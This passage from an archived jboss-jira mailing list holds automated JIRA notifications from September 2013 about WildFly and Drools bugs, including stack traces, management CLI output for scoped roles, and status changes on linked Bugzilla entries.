>     at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:531)
>     at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>     at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:399)
>     at org.jboss.remoting3.remote.RemoteConnectionHandler.handleConnectionClose(RemoteConnectionHandler.java:108)
>     at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:78)
>     at org.jboss.remoting3.remote.RemoteReadListener.handleEvent(RemoteReadListener.java:45)
>     at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:91)
>     at org.xnio.channels.TranslatingSuspendableChannel.handleReadable(TranslatingSuspendableChannel.java:195)
>     at org.xnio.channels.TranslatingSuspendableChannel$1.handleEvent(TranslatingSuspendableChannel.java:109)
>     at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:91)
>     at org.xnio.ChannelListeners$DelegatingChannelListener.handleEvent(ChannelListeners.java:1052)
>     at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:91)
>     at org.xnio.conduits.ReadReadyHandler$ChannelListenerHandler.readReady(ReadReadyHandler.java:61)
>     at org.xnio.nio.NioSocketConduit.handleReady(NioSocketConduit.java:85)
>     at org.xnio.nio.WorkerThread.run(WorkerThread.java:528)
> {code}
> There's also some complaints about connection leaks in those logs:
> {code}
> 13:17:26,866 WARN  [org.jboss.as.controller.client] (Finalizer) JBAS010600: Closing leaked controller client: JBAS010649: Allocation stack trace:
>     at java.lang.Thread.getStackTrace(Thread.java:1567)
>     at org.jboss.as.controller.client.impl.RemotingModelControllerClient.<init>(RemotingModelControllerClient.java:76)
>     at org.jboss.as.controller.client.ModelControllerClient$Factory.create(ModelControllerClient.java:337)
>     at org.jboss.as.controller.client.ModelControllerClient$Factory.create(ModelControllerClient.java:147)
>     at org.jboss.as.test.manualmode.messaging.HornetQBackupActivationTestCase.createBackupClient(HornetQBackupActivationTestCase.java:107)
>     at org.jboss.as.test.manualmode.messaging.HornetQBackupActivationTestCase.waitForBackupServerToReload(HornetQBackupActivationTestCase.java:297)
>     at org.jboss.as.test.manualmode.messaging.HornetQBackupActivationTestCase.testActiveBackupReload(HornetQBackupActivationTestCase.java:224)
>     at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> {code}
> The entire log has been attached to the JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 12:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 12:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.33681.1379520663660@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805552#comment-12805552 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303]

/subsystem=logging/console-handler=CONSOLE:write-attribute(name=filter-spec, value=substituteAll("JBAS" \, "DUMMY")) is working

You have to escape the comma so the value is correctly assumed to be a String otherwise it would be parsed as a List.
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 12:21:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Wed, 18 Sep 2013 12:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2088) Error creating server group
 as scoped role user
In-Reply-To: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500789.1379349208000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500789.1379349208000.33722.1379521263648@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2088?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805555#comment-12805555 ] 

Kabir Khan commented on WFLY-2088:
----------------------------------

Heiko, I think you need to talk me through this better, I cannot see the problem. Here are some example queries
{code}

[domain at localhost:9990 /] /server-group=fooBar:add(profile=ha,socket-binding-group=full-ha-sockets){roles=ADMINISTRATOR}
{
    "outcome" => "success",
    "result" => undefined,
    "server-groups" => undefined
}

[domain at localhost:9990 /] /server-group=fooBar:read-resource{roles=MAIN-MAINTAINER}
{
    "outcome" => "failed",
    "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
    "rolled-back" => true
}


[domain at localhost:9990 /] /server-group=fooBar:read-resource-description{roles=MAIN-MAINTAINER}
{
    "outcome" => "failed",
    "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
    "rolled-back" => true
}


[domain at localhost:9990 /] /server-group=*:read-resource-description{roles=MAIN-MAINTAINER}
{
    "outcome" => "failed",
    "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"*\")]' not found",
    "rolled-back" => true
}

[domain at localhost:9990 /] :read-resource-description(recursive=true,access-control=trim-descriptions,operations=true,inherited=false){roles=MAIN-MAINTAINER}
{
    "outcome" => "success",
    "result" => {
        "description" => undefined,
        "attributes" => undefined,
        "operations" => undefined,
        "children" => {
 
--- SNIP --
            "server-group" => {"model-description" => {"*" => {
                "description" => undefined,
                "attributes" => undefined,
                "operations" => undefined,
                "children" => {
---- SNIP ----
                },
                "access-control" => {
                    "default" => {"address" => false},
                    "exceptions" => {"[(\"server-group\" => \"main-server-group\")]" => {
                        "read" => true,
                        "write" => true,
                        "attributes" => {
                            "socket-binding-port-offset" => {
                                "read" => true,
                                "write" => false
                            },
                            "management-subsystem-endpoint" => {
                                "read" => true,
                                "write" => false
                            },
                            "socket-binding-group" => {
                                "read" => true,
                                "write" => true
                            },
                            "profile" => {
                                "read" => true,
                                "write" => true
                            }
                        },
                        "operations" => {
                            "remove" => {"execute" => true},
                            "start-servers" => {"execute" => true},
                            "reload-servers" => {"execute" => true},
                            "restart-servers" => {"execute" => true},
                            "stop-servers" => {"execute" => true},
                            "replace-deployment" => {"execute" => true},
                            "add" => {"execute" => true}
                        }
                    }}
                }
            }}},
---- SNIP ----
{code}
For the last one to run you will need my fix in https://github.com/wildfly/wildfly/pull/5087
                
> Error creating server group as scoped role user
> -----------------------------------------------
>
>                 Key: WFLY-2088
>                 URL: https://issues.jboss.org/browse/WFLY-2088
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> I've got a scoped role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> and try to create a server group, which leads to an exception:
> {noformat}
> [domain at localhost:9999 /] /server-group=fooBar:add(){roles=MAIN-MAINTAINER}
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[(\"server-group\" => \"fooBar\")]' not found",
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 12:29:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 12:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705111@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705111@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705111.33772.1379521743882@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2106:
--------------------------------------

             Summary: IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
                 Key: WFLY-2106
                 URL: https://issues.jboss.org/browse/WFLY-2106
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
            Priority: Blocker
             Fix For: 8.0.0.Beta1


full stacktrace:
[0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 18 12:31:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 12:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705000.33780.1379521863983@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2106?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805565#comment-12805565 ] 

RH Bugzilla Integration commented on WFLY-2106:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1006876|https://bugzilla.redhat.com/show_bug.cgi?id=1006876] from NEW to ASSIGNED
                
> IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2106
>                 URL: https://issues.jboss.org/browse/WFLY-2106
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> full stacktrace:
> [0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
> 	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
> 	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
> 	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
> 	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
> 	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
> 	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 18 12:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 12:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705000.33783.1379521864128@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2106?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2106:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1006876

    
> IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2106
>                 URL: https://issues.jboss.org/browse/WFLY-2106
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> full stacktrace:
> [0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
> 	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
> 	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
> 	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
> 	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
> 	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
> 	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 18 13:21:03 2013
From: jira-events at lists.jboss.org (Frederic Hornain (JIRA))
Date: Wed, 18 Sep 2013 13:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJPA-38) [JBoss AS 7.1.1] Could not
 create tcp connection to H2
In-Reply-To: <JIRA.12500951.1379524807287@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500951.1379524807287@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500951.1379524807287.33924.1379524863397@jira02.app.mwc.hst.phx2.redhat.com>

An HTML attachment was scrubbed...
URL: http://lists.jboss.org/pipermail/jboss-jira/attachments/20130918/5cc1b72a/attachment-0001.html 

From jira-events at lists.jboss.org  Wed Sep 18 13:27:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Thomas_Fr=C3=BChbeck_=28JIRA=29?=)
Date: Wed, 18 Sep 2013 13:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2101) An exploded war inside an
 exploded ear is completely destroyed
In-Reply-To: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500873.1379455015000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500873.1379455015000.33927.1379525223412@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805579#comment-12805579 ] 

Thomas Fr?hbeck commented on WFLY-2101:
---------------------------------------

I meant to say: jars inside exploded wars inside ears are destroyed
:-)
                
> An exploded war inside an exploded ear is completely destroyed 
> ---------------------------------------------------------------
>
>                 Key: WFLY-2101
>                 URL: https://issues.jboss.org/browse/WFLY-2101
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Emmanuel Hugonnet
>
> Fix for WFLY-2028 completely overwrites files in deployment:
> private Closeable exportExplodedWar(final boolean war, final VirtualFile file) throws IOException {
>         if (war && !file.isFile()) {
>             File warContent = file.getPhysicalFile();
>             VFSUtils.recursiveCopy(file, warContent.getParentFile());
> if Write-protecting deployment, the following exception is thrown:
> 23:09:29,392 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-7) MSC000001: Failed to start service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: org.jboss.msc.service.Sta
> rtException in service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: JBAS018733: Failed to process phase STRUCTURE of deployment "mssms-ear.ear"
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:166) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011060: Failed to process children for EAR ["/work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deplo
> yments/mssms-ear.ear"]
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:237)
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:159) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         ... 5 more
> Caused by: java.io.FileNotFoundException: /work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deployments/mssms-ear.ear/mssms.war/css/test.css (Keine Berechtigung)
>         at java.io.FileOutputStream.open(Native Method) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:221) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:171) [rt.jar:1.7.0_40]
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:725)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.as.ee.structure.EarStructureProcessor.exportExplodedWar(EarStructureProcessor.java:277)
>         at org.jboss.as.ee.structure.EarStructureProcessor.createResourceRoot(EarStructureProcessor.java:261)
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:192)
>         ... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 18 13:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 13:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.33937.1379526663545@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805583#comment-12805583 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465] from ASSIGNED to ON_QA
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 13:53:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 13:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.33941.1379526783467@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805584#comment-12805584 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479] from MODIFIED to ON_QA
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 13:53:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 13:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.33946.1379526783706@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805585#comment-12805585 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483] from MODIFIED to ON_QA
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 13:59:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 13:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.33952.1379527143533@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805586#comment-12805586 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Alessandro Lazarotti <alazarot at redhat.com> made a comment on [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465]

Neil, why this issue was moved from ASSIGNED to ON_QA ? I think that Mario is still working over it to get a fix
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 14:01:04 2013
From: jira-events at lists.jboss.org (Frederic Hornain (JIRA))
Date: Wed, 18 Sep 2013 14:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJPA-39) [JBoss AS 7.1.1 Final]
 HHH000389: Unsuccessful: drop sequence hibernate_sequence
In-Reply-To: <JIRA.12500952.1379527206209@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500952.1379527206209@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500952.1379527206209.33954.1379527264580@jira02.app.mwc.hst.phx2.redhat.com>

An HTML attachment was scrubbed...
URL: http://lists.jboss.org/pipermail/jboss-jira/attachments/20130918/39885a32/attachment-0001.html 

From jira-events at lists.jboss.org  Wed Sep 18 14:21:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 14:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.34002.1379528463495@jira02.app.mwc.hst.phx2.redhat.com>


